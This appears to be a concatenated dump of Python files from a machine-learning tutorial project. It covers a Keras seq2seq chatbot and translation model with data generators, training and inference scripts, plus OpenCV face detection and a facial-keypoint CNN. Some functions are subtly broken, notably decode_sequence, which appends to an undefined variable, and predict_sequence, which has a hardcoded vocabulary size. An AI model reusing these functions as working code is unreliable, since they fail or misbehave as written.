num_encoder_tokens = max([self.num_encoder_tokens, self.num_decoder_tokens]) + num_decoder_tokens = num_encoder_tokens + else: + num_encoder_tokens = self.num_encoder_tokens + num_decoder_tokens = self.num_decoder_tokens + while True: + for j in range(0, len(X), batch_size): + encoder_input_data = X[j: j+batch_size] + decoder_input_data = y[j: j+batch_size] + # update batch size ( different size in last batch of the dataset ) + batch_size = encoder_input_data.shape[0] + if self.char_level: + encoder_data = np.zeros((batch_size, source_sequence_length, num_encoder_tokens)) + decoder_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens)) + else: + encoder_data = encoder_input_data + decoder_data = decoder_input_data + + decoder_target_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens)) + if char_level: + # if its char level, one-hot all sequences of characters + for i, sequence in enumerate(decoder_input_data): + for t, word_index in enumerate(sequence): + if t > 0: + decoder_target_data[i, t - 1, word_index] = 1 + decoder_data[i, t, word_index] = 1 + for i, sequence in enumerate(encoder_input_data): + for t, word_index in enumerate(sequence): + encoder_data[i, t, word_index] = 1 + else: + # if its word level, one-hot only target_data ( the one compared with dense ) + for i, sequence in enumerate(decoder_input_data): + for t, word_index in enumerate(sequence): + if t > 0: + decoder_target_data[i, t - 1, word_index] = 1 + yield ([encoder_data, decoder_data], decoder_target_data) + # shuffle data when an epoch is finished + self.shuffle_data(train=train) + + + + +def get_embedding_vectors(tokenizer): + embedding_index = {} + with open("data/glove.6B.300d.txt", encoding='utf8') as f: + for line in tqdm.tqdm(f, "Reading GloVe"): + values = line.split() + word = values[0] + vectors = np.asarray(values[1:], dtype='float32') + embedding_index[word] = vectors + + word_index = tokenizer.word_index + embedding_matrix = np.zeros((len(word_index)+1, 300)) + for word, i in word_index.items(): + embedding_vector = embedding_index.get(word) + if embedding_vector is not None: + # words not found will be 0s + embedding_matrix[i] = embedding_vector + + return embedding_matrix + + +def load_data(filename): + text = [] + append = text.append + with open(filename) as f: + for line in tqdm.tqdm(f, f"Reading {filename}"): + line = line.strip() + append(line) + return text + +# def generate_batch(X, y, num_decoder_tokens, max_length_src, max_length_target, batch_size=256): +# """Generating data""" +# while True: +# for j in range(0, len(X), batch_size): +# encoder_input_data = np.zeros((batch_size, max_length_src), dtype='float32') +# decoder_input_data = np.zeros((batch_size, max_length_target), dtype='float32') +# decoder_target_data = np.zeros((batch_size, max_length_target, num_decoder_tokens), dtype='float32') +# for i, (input_text, target_text) in enumerate(zip(X[j: j+batch_size], y[j: j+batch_size])): +# for t, word in enumerate(input_text.split()): +# encoder_input_data[i, t] = input_word_index[word] # encoder input sequence +# for t, word in enumerate(target_text.split()): +# if t > 0: +# # offset by one timestep +# # one-hot encoded +# decoder_target_data[i, t-1, target_token_index[word]] = 1 +# if t < len(target_text.split()) - 1: +# decoder_input_data[i, t] = target_token_index[word] +# yield ([encoder_input_data, decoder_input_data], decoder_target_data) + +# def tokenize(x, tokenizer=None): +# """Tokenize x +# :param x: List of sentences/strings to be tokenized +# :return: Tuple of (tokenized x data, tokenizer used to tokenize x)""" +# if tokenizer: +# t = tokenizer +# else: +# t = Tokenizer() +# t.fit_on_texts(x) +# return t.texts_to_sequences(x), t + + +# def pad(x, length=None): +# """Pad x +# :param x: list of sequences +# :param length: Length to pad the sequence to, If None, use length +# of longest sequence in x. +# :return: Padded numpy array of sequences""" +# return pad_sequences(x, maxlen=length, padding="post") + + +# def preprocess(x, y): +# """Preprocess x and y +# :param x: Feature list of sentences +# :param y: Label list of sentences +# :return: Tuple of (preprocessed x, preprocessed y, x tokenizer, y tokenizer)""" +# preprocess_x, x_tk = tokenize(x) +# preprocess_y, y_tk = tokenize(y) +# preprocess_x2 = [ [0] + s for s in preprocess_y ] +# longest_x = max([len(i) for i in preprocess_x]) +# longest_y = max([len(i) for i in preprocess_y]) + 1 +# # max_length = len(x_tk.word_index) if len(x_tk.word_index) > len(y_tk.word_index) else len(y_tk.word_index) +# max_length = longest_x if longest_x > longest_y else longest_y + +# preprocess_x = pad(preprocess_x, length=max_length) +# preprocess_x2 = pad(preprocess_x2, length=max_length) +# preprocess_y = pad(preprocess_y, length=max_length) + +# # preprocess_x = to_categorical(preprocess_x) +# # preprocess_x2 = to_categorical(preprocess_x2) +# preprocess_y = to_categorical(preprocess_y) + +# return preprocess_x, preprocess_x2, preprocess_y, x_tk, y_tk + + + + +from keras.layers import Embedding, TimeDistributed, Dense, GRU, LSTM, Input +from keras.models import Model, Sequential +from keras.utils import to_categorical + +import numpy as np +import tqdm + + +def encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens, embedding_matrix=None, embedding_layer=True): + # ENCODER + # define an input sequence and process it + + if embedding_layer: + encoder_inputs = Input(shape=(None,)) + if embedding_matrix is None: + encoder_emb_layer = Embedding(num_encoder_tokens, latent_dim, mask_zero=True) + else: + encoder_emb_layer = Embedding(num_encoder_tokens, + latent_dim, + mask_zero=True, + weights=[embedding_matrix], + trainable=False) + + encoder_emb = encoder_emb_layer(encoder_inputs) + else: + encoder_inputs = Input(shape=(None, num_encoder_tokens)) + encoder_emb = encoder_inputs + encoder_lstm = LSTM(latent_dim, return_state=True) + encoder_outputs, state_h, state_c = encoder_lstm(encoder_emb) + + # we discard encoder_outputs and only keep the states + encoder_states = [state_h, state_c] + + # DECODER + # Set up the decoder, using encoder_states as initial state + if embedding_layer: + decoder_inputs = Input(shape=(None,)) + else: + decoder_inputs = Input(shape=(None, num_encoder_tokens)) + # add an embedding layer + # decoder_emb_layer = Embedding(num_decoder_tokens, latent_dim, mask_zero=True) + if embedding_layer: + decoder_emb = encoder_emb_layer(decoder_inputs) + else: + decoder_emb = decoder_inputs + # we set up our decoder to return full output sequences + # and to return internal states as well, we don't use the + # return states in the training model, but we will use them in inference + decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True) + decoder_outputs, _, _, = decoder_lstm(decoder_emb, initial_state=encoder_states) + # dense output layer used to predict each character ( or word ) + # in one-hot manner, not recursively + decoder_dense = Dense(num_decoder_tokens, activation="softmax") + decoder_outputs = decoder_dense(decoder_outputs) + # finally, the model is defined with inputs for the encoder and the decoder + # and the output target sequence + # turn encoder_input_data & decoder_input_data into decoder_target_data + model = Model([encoder_inputs, decoder_inputs], output=decoder_outputs) + # model.summary() + # define encoder inference model + encoder_model = Model(encoder_inputs, encoder_states) + # define decoder inference model + decoder_state_input_h = Input(shape=(latent_dim,)) + decoder_state_input_c = Input(shape=(latent_dim,)) + decoder_states_inputs = [decoder_state_input_h, decoder_state_input_c] + + # Get the embeddings of the decoder sequence + if embedding_layer: + dec_emb2 = encoder_emb_layer(decoder_inputs) + else: + dec_emb2 = decoder_inputs + + decoder_outputs, state_h, state_c = decoder_lstm(dec_emb2, initial_state=decoder_states_inputs) + decoder_states = [state_h, state_c] + decoder_outputs = decoder_dense(decoder_outputs) + decoder_model = Model([decoder_inputs] + decoder_states_inputs, [decoder_outputs] + decoder_states) + return model, encoder_model, decoder_model + + + + +def predict_sequence(enc, dec, source, n_steps, cardinality, char_level=False): + """Generate target given source sequence, this function can be used + after the model is trained to generate a target sequence given a source sequence.""" + # encode + state = enc.predict(source) + # start of sequence input + if char_level: + target_seq = np.zeros((1, 1, 61)) + else: + target_seq = np.zeros((1, 1)) + # collect predictions + output = [] + for t in range(n_steps): + # predict next char + yhat, h, c = dec.predict([target_seq] + state) + # store predictions + y = yhat[0, 0, :] + if char_level: + sampled_token_index = to_categorical(np.argmax(y), num_classes=61) + else: + sampled_token_index = np.argmax(y) + output.append(sampled_token_index) + # update state + state = [h, c] + # update target sequence + if char_level: + target_seq = np.zeros((1, 1, 61)) + else: + target_seq = np.zeros((1, 1)) + target_seq[0, 0] = sampled_token_index + + return np.array(output) + + +def decode_sequence(enc, dec, input_seq): + # Encode the input as state vectors. + states_value = enc.predict(input_seq) + + # Generate empty target sequence of length 1. + target_seq = np.zeros((1,1)) + + # Populate the first character of target sequence with the start character. + target_seq[0, 0] = 0 + + # Sampling loop for a batch of sequences + # (to simplify, here we assume a batch of size 1). + stop_condition = False + decoded_sequence = [] + + while not stop_condition: + output_tokens, h, c = dec.predict([target_seq] + states_value) + # Sample a token + sampled_token_index = np.argmax(output_tokens[0, -1, :]) + # sampled_char = reverse_target_char_index[sampled_token_index] + decoded_sentence.append(output_tokens[0, -1, :]) + + # Exit condition: either hit max length or find stop token. + if (output_tokens == '' or len(decoded_sentence) > 50): + stop_condition = True + + # Update the target sequence (of length 1). + target_seq = np.zeros((1,1)) + target_seq[0, 0] = sampled_token_index + + # Update states + states_value = [h, c] + + return decoded_sentence + + + + +from keras.preprocessing.text import Tokenizer +from keras.preprocessing.sequence import pad_sequences +from keras.utils import to_categorical +import numpy as np + + +def tokenize(x, tokenizer=None): + """Tokenize x + :param x: List of sentences/strings to be tokenized + :return: Tuple of (tokenized x data, tokenizer used to tokenize x)""" + if tokenizer: + t = tokenizer + else: + t = Tokenizer() + t.fit_on_texts(x) + return t.texts_to_sequences(x), t + + +def pad(x, length=None): + """Pad x + :param x: list of sequences + :param length: Length to pad the sequence to, If None, use length + of longest sequence in x. + :return: Padded numpy array of sequences""" + return pad_sequences(x, maxlen=length, padding="post") + + +def preprocess(x, y): + """Preprocess x and y + :param x: Feature list of sentences + :param y: Label list of sentences + :return: Tuple of (preprocessed x, preprocessed y, x tokenizer, y tokenizer)""" + preprocess_x, x_tk = tokenize(x) + preprocess_y, y_tk = tokenize(y) + preprocess_x2 = [ [0] + s for s in preprocess_y ] + longest_x = max([len(i) for i in preprocess_x]) + longest_y = max([len(i) for i in preprocess_y]) + 1 + # max_length = len(x_tk.word_index) if len(x_tk.word_index) > len(y_tk.word_index) else len(y_tk.word_index) + max_length = longest_x if longest_x > longest_y else longest_y + + preprocess_x = pad(preprocess_x, length=max_length) + preprocess_x2 = pad(preprocess_x2, length=max_length) + preprocess_y = pad(preprocess_y, length=max_length) + + # preprocess_x = to_categorical(preprocess_x) + # preprocess_x2 = to_categorical(preprocess_x2) + preprocess_y = to_categorical(preprocess_y) + + return preprocess_x, preprocess_x2, preprocess_y, x_tk, y_tk + + +def load_data(filename): + with open(filename) as f: + text = f.read() + return text.split("\n") + + +def load_dataset(): + english_sentences = load_data("data/small_vocab_en") + french_sentences = load_data("data/small_vocab_fr") + + return preprocess(english_sentences, french_sentences) + + +# def generate_batch(X, y, num_decoder_tokens, max_length_src, max_length_target, batch_size=256): +# """Generating data""" +# while True: +# for j in range(0, len(X), batch_size): +# encoder_input_data = np.zeros((batch_size, max_length_src), dtype='float32') +# decoder_input_data = np.zeros((batch_size, max_length_target), dtype='float32') +# decoder_target_data = np.zeros((batch_size, max_length_target, num_decoder_tokens), dtype='float32') +# for i, (input_text, target_text) in enumerate(zip(X[j: j+batch_size], y[j: j+batch_size])): +# for t, word in enumerate(input_text.split()): +# encoder_input_data[i, t] = input_word_index[word] # encoder input sequence +# for t, word in enumerate(target_text.split()): +# if t > 0: +# # offset by one timestep +# # one-hot encoded +# decoder_target_data[i, t-1, target_token_index[word]] = 1 +# if t < len(target_text.split()) - 1: +# decoder_input_data[i, t] = target_token_index[word] +# yield ([encoder_input_data, decoder_input_data], decoder_target_data) + +if __name__ == "__main__": + from generator import NMTGenerator + gen = NMTGenerator(source_file="data/small_vocab_en", target_file="data/small_vocab_fr") + gen.load_dataset() + print(gen.num_decoder_tokens) + print(gen.num_encoder_tokens) + print(gen.source_sequence_length) + print(gen.target_sequence_length) + print(gen.X.shape) + print(gen.y.shape) + for i, ((encoder_input_data, decoder_input_data), decoder_target_data) in enumerate(gen.generate_batches()): + # print("encoder_input_data.shape:", encoder_input_data.shape) + # print("decoder_output_data.shape:", decoder_input_data.shape) + if i % (len(gen.X) // gen.batch_size + 1) == 0: + print(i, ": decoder_input_data:", decoder_input_data[0]) + + + + +# to use CPU +import os +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + inter_op_parallelism_threads=5, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) + +from models import predict_sequence, encoder_decoder_model +from preprocess import tokenize, pad +from keras.utils import to_categorical +from generator import get_embedding_vectors +import pickle +import numpy as np + +x_tk = pickle.load(open("results/x_tk.pickle", "rb")) +y_tk = pickle.load(open("results/y_tk.pickle", "rb")) + + + +index_to_words = {id: word for word, id in y_tk.word_index.items()} +index_to_words[0] = '_' + +def logits_to_text(logits): + """ + Turn logits from a neural network into text using the tokenizer + :param logits: Logits from a neural network + :param tokenizer: Keras Tokenizer fit on the labels + :return: String that represents the text of the logits + """ + # return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)]) + return ' '.join([index_to_words[prediction] for prediction in logits]) + + +num_encoder_tokens = 29046 +num_decoder_tokens = 29046 +latent_dim = 300 + +# embedding_vectors = get_embedding_vectors(x_tk) + +model, enc, dec = encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens) +enc.summary() +dec.summary() +model.summary() +model.load_weights("results/chatbot_v13_4.831_0.219.h5") + +while True: + text = input("> ") + tokenized = tokenize([text], tokenizer=y_tk)[0] + # print("tokenized:", tokenized) + X = pad(tokenized, length=37) + sequence = predict_sequence(enc, dec, X, 37, num_decoder_tokens) + # print(sequence) + result = logits_to_text(sequence) + print(result) + + + + +# to use CPU +import os +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + inter_op_parallelism_threads=5, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) + +from models import predict_sequence, encoder_decoder_model +from preprocess import tokenize, pad +from keras.utils import to_categorical +from generator import get_embedding_vectors +import pickle +import numpy as np + +x_tk = pickle.load(open("results/x_tk.pickle", "rb")) +y_tk = pickle.load(open("results/y_tk.pickle", "rb")) + + + +index_to_words = {id: word for word, id in y_tk.word_index.items()} +index_to_words[0] = '_' + +def logits_to_text(logits): + """ + Turn logits from a neural network into text using the tokenizer + :param logits: Logits from a neural network + :param tokenizer: Keras Tokenizer fit on the labels + :return: String that represents the text of the logits + """ + # return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)]) + # return ''.join([index_to_words[np.where(prediction==1)[0]] for prediction in logits]) + text = "" + for prediction in logits: + char_index = np.where(prediction)[0][0] + + char = index_to_words[char_index] + text += char + return text + + + +num_encoder_tokens = 61 +num_decoder_tokens = 61 +latent_dim = 384 + +# embedding_vectors = get_embedding_vectors(x_tk) + +model, enc, dec = encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens, embedding_layer=False) +enc.summary() +dec.summary() +model.summary() +model.load_weights("results/chatbot_charlevel_v2_0.32_0.90.h5") + +while True: + text = input("> ") + tokenized = tokenize([text], tokenizer=y_tk)[0] + # print("tokenized:", tokenized) + X = to_categorical(pad(tokenized, length=37), num_classes=num_encoder_tokens) + # print(X) + sequence = predict_sequence(enc, dec, X, 206, num_decoder_tokens, char_level=True) + # print(sequence) + result = logits_to_text(sequence) + print(result) + + + + +import numpy as np +import pickle +from models import encoder_decoder_model +from generator import NMTGenerator, get_embedding_vectors +from preprocess import load_dataset +from keras.callbacks import ModelCheckpoint +from keras_adabound import AdaBound + +text_gen = NMTGenerator(source_file="data/questions", + target_file="data/answers", + batch_size=32, + same_tokenizer=True, + verbose=2) +text_gen.load_dataset() +print("[+] Dataset loaded.") + +num_encoder_tokens = text_gen.num_encoder_tokens +num_decoder_tokens = text_gen.num_decoder_tokens +# get tokenizer +tokenizer = text_gen.x_tk +embedding_vectors = get_embedding_vectors(tokenizer) +print("text_gen.source_sequence_length:", text_gen.source_sequence_length) +print("text_gen.target_sequence_length:", text_gen.target_sequence_length) +num_tokens = max([num_encoder_tokens, num_decoder_tokens]) +latent_dim = 300 + +model, enc, dec = encoder_decoder_model(num_tokens, latent_dim, num_tokens, embedding_matrix=embedding_vectors) +model.summary() +enc.summary() +dec.summary() +del enc +del dec +print("[+] Models created.") + +model.compile(optimizer="rmsprop", loss="categorical_crossentropy", metrics=["accuracy"]) +print("[+] Model compiled.") + +# pickle.dump(x_tk, open("results/x_tk.pickle", "wb")) +print("[+] X tokenizer serialized.") + +# pickle.dump(y_tk, open("results/y_tk.pickle", "wb")) +print("[+] y tokenizer serialized.") + +# X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) +# y = y.reshape((y.shape[0], y.shape[2], y.shape[1])) +print("[+] Dataset reshaped.") + +# print("X1.shape:", X1.shape) +# print("X2.shape:", X2.shape) +# print("y.shape:", y.shape) +checkpointer = ModelCheckpoint("results/chatbot_v13_{val_loss:.3f}_{val_acc:.3f}.h5", save_best_only=False, verbose=1) +model.load_weights("results/chatbot_v13_4.806_0.219.h5") +# model.fit([X1, X2], y, +model.fit_generator(text_gen.next_train(), + validation_data=text_gen.next_validation(), + verbose=1, + steps_per_epoch=(len(text_gen.X_train) // text_gen.batch_size), + validation_steps=(len(text_gen.X_test) // text_gen.batch_size), + callbacks=[checkpointer], + epochs=5) +print("[+] Model trained.") + +model.save_weights("results/chatbot_v13.h5") +print("[+] Model saved.") + + + + +import numpy as np +import pickle +from models import encoder_decoder_model +from generator import NMTGenerator, get_embedding_vectors +from preprocess import load_dataset +from keras.callbacks import ModelCheckpoint +from keras_adabound import AdaBound + +text_gen = NMTGenerator(source_file="data/questions", + target_file="data/answers", + batch_size=256, + same_tokenizer=True, + char_level=True, + verbose=2) +text_gen.load_dataset() +print("[+] Dataset loaded.") + +num_encoder_tokens = text_gen.num_encoder_tokens +num_decoder_tokens = text_gen.num_decoder_tokens +# get tokenizer +tokenizer = text_gen.x_tk +print("text_gen.source_sequence_length:", text_gen.source_sequence_length) +print("text_gen.target_sequence_length:", text_gen.target_sequence_length) +num_tokens = max([num_encoder_tokens, num_decoder_tokens]) +latent_dim = 384 + +model, enc, dec = encoder_decoder_model(num_tokens, latent_dim, num_tokens, embedding_layer=False) +model.summary() +enc.summary() +dec.summary() +del enc +del dec +print("[+] Models created.") + +model.compile(optimizer=AdaBound(lr=1e-3, final_lr=0.1), loss="categorical_crossentropy", metrics=["accuracy"]) +print("[+] Model compiled.") + +# pickle.dump(x_tk, open("results/x_tk.pickle", "wb")) +print("[+] X tokenizer serialized.") + +# pickle.dump(y_tk, open("results/y_tk.pickle", "wb")) +print("[+] y tokenizer serialized.") + +# X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) +# y = y.reshape((y.shape[0], y.shape[2], y.shape[1])) +print("[+] Dataset reshaped.") + +# print("X1.shape:", X1.shape) +# print("X2.shape:", X2.shape) +# print("y.shape:", y.shape) +checkpointer = ModelCheckpoint("results/chatbot_charlevel_v2_{val_loss:.2f}_{val_acc:.2f}.h5", save_best_only=False, verbose=1) +model.load_weights("results/chatbot_charlevel_v2_0.32_0.90.h5") +# model.fit([X1, X2], y, +model.fit_generator(text_gen.next_train(), + validation_data=text_gen.next_validation(), + verbose=1, + steps_per_epoch=(len(text_gen.X_train) // text_gen.batch_size)+1, + validation_steps=(len(text_gen.X_test) // text_gen.batch_size)+1, + callbacks=[checkpointer], + epochs=50) +print("[+] Model trained.") + +model.save_weights("results/chatbot_charlevel_v2.h5") +print("[+] Model saved.") + + + + +import tqdm + +X, y = [], [] +with open("data/fr-en", encoding='utf8') as f: + for i, line in tqdm.tqdm(enumerate(f), "Reading file"): + if "europarl-v7" in line: + continue + # X.append(line) + # if i == 2007723 or i == 2007724 or i == 2007725 + if i <= 2007722: + X.append(line.strip()) + else: + y.append(line.strip()) + +y.pop(-1) + + +with open("data/en", "w", encoding='utf8') as f: + for i in tqdm.tqdm(X, "Writing english"): + print(i, file=f) + +with open("data/fr", "w", encoding='utf8') as f: + for i in tqdm.tqdm(y, "Writing french"): + print(i, file=f) + + + + +import glob +import tqdm +import os +import random +import inflect + +p = inflect.engine() + +X, y = [], [] + +special_words = { + "haha", "rockikz", "fullclip", "xanthoss", "aw", "wow", "ah", "oh", "god", "quran", "allah", + "muslims", "muslim", "islam", "?", ".", ",", + '_func_val_get_callme_para1_comma0', '_num2_', '_func_val_get_last_question', '_num1_', + '_func_val_get_number_plus_para1__num1__para2__num2_', + '_func_val_update_call_me_enforced_para1__callme_', + '_func_val_get_number_minus_para1__num2__para2__num1_', '_func_val_get_weekday_para1_d0', + '_func_val_update_user_name_para1__name_', '_callme_', '_func_val_execute_pending_action_and_reply_para1_no', + '_func_val_clear_user_name_and_call_me', '_func_val_get_story_name_para1_the_velveteen_rabbit', '_ignored_', + '_func_val_get_number_divide_para1__num1__para2__num2_', '_func_val_get_joke_anyQ:', + '_func_val_update_user_name_and_call_me_para1__name__para2__callme_', '_func_val_get_number_divide_para1__num2__para2__num1_Q:', + '_name_', '_func_val_ask_name_if_not_yet', '_func_val_get_last_answer', '_func_val_continue_last_topic', + '_func_val_get_weekday_para1_d1', '_func_val_get_number_minus_para1__num1__para2__num2_', '_func_val_get_joke_any', + '_func_val_get_story_name_para1_the_three_little_pigs', '_func_val_update_call_me_para1__callme_', + '_func_val_get_story_name_para1_snow_white', '_func_val_get_today', '_func_val_get_number_multiply_para1__num1__para2__num2_', + '_func_val_update_user_name_enforced_para1__name_', '_func_val_get_weekday_para1_d_2', '_func_val_correct_user_name_para1__name_', + '_func_val_get_time', '_func_val_get_number_divide_para1__num2__para2__num1_', '_func_val_get_story_any', + '_func_val_execute_pending_action_and_reply_para1_yes', '_func_val_get_weekday_para1_d_1', '_func_val_get_weekday_para1_d2' +} + +english_words = { word.strip() for word in open("data/words8.txt") } + +embedding_words = set() +f = open("data/glove.6B.300d.txt", encoding='utf8') +for line in tqdm.tqdm(f, "Reading GloVe words"): + values = line.split() + word = values[0] + embedding_words.add(word) + +maps = open("data/maps.txt").readlines() +word_mapper = {} +for map in maps: + key, value = map.split("=>") + key = key.strip() + value = value.strip() + print(f"Mapping {key} to {value}") + word_mapper[key.lower()] = value + + +unks = 0 +digits = 0 +mapped = 0 +english = 0 +special = 0 + +def map_text(line): + global unks + global digits + global mapped + global english + global special + result = [] + append = result.append + words = line.split() + for word in words: + word = word.lower() + if word.isdigit(): + append(p.number_to_words(word)) + digits += 1 + continue + if word in word_mapper: + append(word_mapper[word]) + mapped += 1 + continue + if word in english_words: + append(word) + english += 1 + continue + if word in special_words: + append(word) + special += 1 + continue + append("_unk_") + unks += 1 + return ' '.join(result) + +for file in tqdm.tqdm(glob.glob("data/Augment*/*"), "Reading files"): + with open(file, encoding='utf8') as f: + for line in f: + line = line.strip() + if "Q: " in line: + X.append(line) + elif "A: " in line: + y.append(line) + +# shuffle X and y maintaining the order +combined = list(zip(X, y)) +random.shuffle(combined) + +X[:], y[:] = zip(*combined) + +with open("data/questions", "w") as f: + for line in tqdm.tqdm(X, "Writing questions"): + line = line.strip().lstrip('Q: ') + line = map_text(line) + print(line, file=f) + +print() + +print("[!] Unks:", unks) +print("[!] digits:", digits) +print("[!] Mapped:", mapped) +print("[!] english:", english) +print("[!] special:", special) +print() + +unks = 0 +digits = 0 +mapped = 0 +english = 0 +special = 0 + +with open("data/answers", "w") as f: + for line in tqdm.tqdm(y, "Writing answers"): + line = line.strip().lstrip('A: ') + line = map_text(line) + print(line, file=f) + +print() +print("[!] Unks:", unks) +print("[!] digits:", digits) +print("[!] Mapped:", mapped) +print("[!] english:", english) +print("[!] special:", special) +print() + + + + +import numpy as np +import cv2 + + +# loading the test image +image = cv2.imread("kids.jpg") + +# converting to grayscale +image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + +# initialize the face recognizer (default face haar cascade) +face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml") + +# detect all the faces in the image +faces = face_cascade.detectMultiScale(image_gray, 1.3, 5) + +# for every face, draw a blue rectangle +for x, y, width, height in faces: + cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2) + +# save the image with rectangles +cv2.imwrite("kids_detected.jpg", image) + + + + +import numpy as np +import cv2 + +# create a new cam object +cap = cv2.VideoCapture(0) + +# initialize the face recognizer (default face haar cascade) +face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml") + +while True: + # read the image from the cam + _, image = cap.read() + # converting to grayscale + image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + + # detect all the faces in the image + faces = face_cascade.detectMultiScale(image_gray, 1.3, 5) + + # for every face, draw a blue rectangle + for x, y, width, height in faces: + cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2) + + cv2.imshow("image", image) + + if cv2.waitKey(1) == ord("q"): + break + +cap.release() +cv2.destroyAllWindows() + + + + +import cv2 +import numpy as np +import matplotlib.pyplot as plt + +import sys + +from models import create_model +from parameters import * +from utils import normalize_image + + +def untransform(keypoints): + return keypoints * 50 + 100 + + +def get_single_prediction(model, image): + image = np.expand_dims(image, axis=0) + keypoints = model.predict(image)[0] + return keypoints.reshape(*OUTPUT_SHAPE) + + +def show_keypoints(image, predicted_keypoints, true_keypoints=None): + predicted_keypoints = untransform(predicted_keypoints) + plt.imshow(np.squeeze(image), cmap="gray") + plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") + if true_keypoints is not None: + true_keypoints = untransform(true_keypoints) + plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") + plt.show() + + +image = cv2.imread(sys.argv[1]) +image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) + +# # construct the model +model = create_model((*IMAGE_SIZE, 1), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) + +model.load_weights("results/model_smoothl1.h5") + +face_cascade = cv2.CascadeClassifier("haarcascade_frontalface_default.xml") +# get all the faces in the image +faces = face_cascade.detectMultiScale(image, 1.2, 2) + +for (x, y, w, h) in faces: + cv2.rectangle(image, (x, y), (x+w, y+h), (255, 0, 0), 3) + face_image = image.copy()[y: y+h, x: x+w] + face_image = normalize_image(face_image) + keypoints = get_single_prediction(model, face_image) + show_keypoints(face_image, keypoints) + + + + +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt +import cv2 + +from models import create_model +from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file +from utils import load_data, resize_image, normalize_keypoints, normalize_image + + +def get_single_prediction(model, image): + image = np.expand_dims(image, axis=0) + keypoints = model.predict(image)[0] + return keypoints.reshape(*OUTPUT_SHAPE) + +def get_predictions(model, X): + predicted_keypoints = model.predict(X) + predicted_keypoints = predicted_keypoints.reshape(-1, *OUTPUT_SHAPE) + return predicted_keypoints + + +def show_keypoints(image, predicted_keypoints, true_keypoints=None): + predicted_keypoints = untransform(predicted_keypoints) + plt.imshow(image, cmap="gray") + plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") + if true_keypoints is not None: + true_keypoints = untransform(true_keypoints) + plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") + plt.show() + + +def show_keypoints_cv2(image, predicted_keypoints, true_keypoints=None): + for keypoint in predicted_keypoints: + image = cv2.circle(image, (keypoint[0], keypoint[1]), 2, color=2) + if true_keypoints is not None: + image = cv2.circle(image, (true_keypoints[:, 0], true_keypoints[:, 1]), 2, color="green") + return image + + +def untransform(keypoints): + return keypoints * 224 + + +# construct the model +model = create_model((*IMAGE_SIZE, 1), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) + +model.load_weights("results/model_smoothl1_different-scaling.h5") + +# X_test, y_test = load_data(testing_file) +# y_test = y_test.reshape(-1, *OUTPUT_SHAPE) + +cap = cv2.VideoCapture(0) + +while True: + _, frame = cap.read() + # make a copy of the original image + image = frame.copy() + image = normalize_image(image) + + keypoints = get_single_prediction(model, image) + print(keypoints[0]) + keypoints = untransform(keypoints) + # w, h = frame.shape[:2] + # keypoints = (keypoints * [frame.shape[0] / image.shape[0], frame.shape[1] / image.shape[1]]).astype("int16") + # frame = show_keypoints_cv2(frame, keypoints) + image = show_keypoints_cv2(image, keypoints) + cv2.imshow("frame", image) + + if cv2.waitKey(1) == ord("q"): + break + +cv2.destroyAllWindows() +cap.release() + + + + +from tensorflow.keras.models import Sequential, Model +from tensorflow.keras.layers import Dense, Activation, Conv2D, MaxPooling2D, Dropout, Flatten +from tensorflow.keras.applications import MobileNetV2 +import tensorflow as tf +import tensorflow.keras.backend as K + +def smoothL1(y_true, y_pred): + HUBER_DELTA = 0.5 + x = K.abs(y_true - y_pred) + x = K.switch(x < HUBER_DELTA, 0.5 * x ** 2, HUBER_DELTA * (x - 0.5 * HUBER_DELTA)) + return K.sum(x) + + +def create_model(input_shape, output_shape): + + # building the model + model = Sequential() + + model.add(Conv2D(filters=32, kernel_size=(5, 5), padding="same", input_shape=input_shape)) + model.add(Activation("relu")) + model.add(Conv2D(filters=32, kernel_size=(5, 5), padding="same")) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + # model.add(Dropout(0.25)) + + model.add(Conv2D(filters=64, kernel_size=(5, 5), padding="same")) + model.add(Activation("relu")) + model.add(Conv2D(filters=64, kernel_size=(5, 5), padding="same")) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + # model.add(Dropout(0.25)) + + model.add(Conv2D(filters=128, kernel_size=(5, 5), padding="same")) + model.add(Activation("relu")) + model.add(Conv2D(filters=128, kernel_size=(5, 5), padding="same")) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + # model.add(Dropout(0.25)) + + # model.add(Conv2D(filters=256, kernel_size=(5, 5), 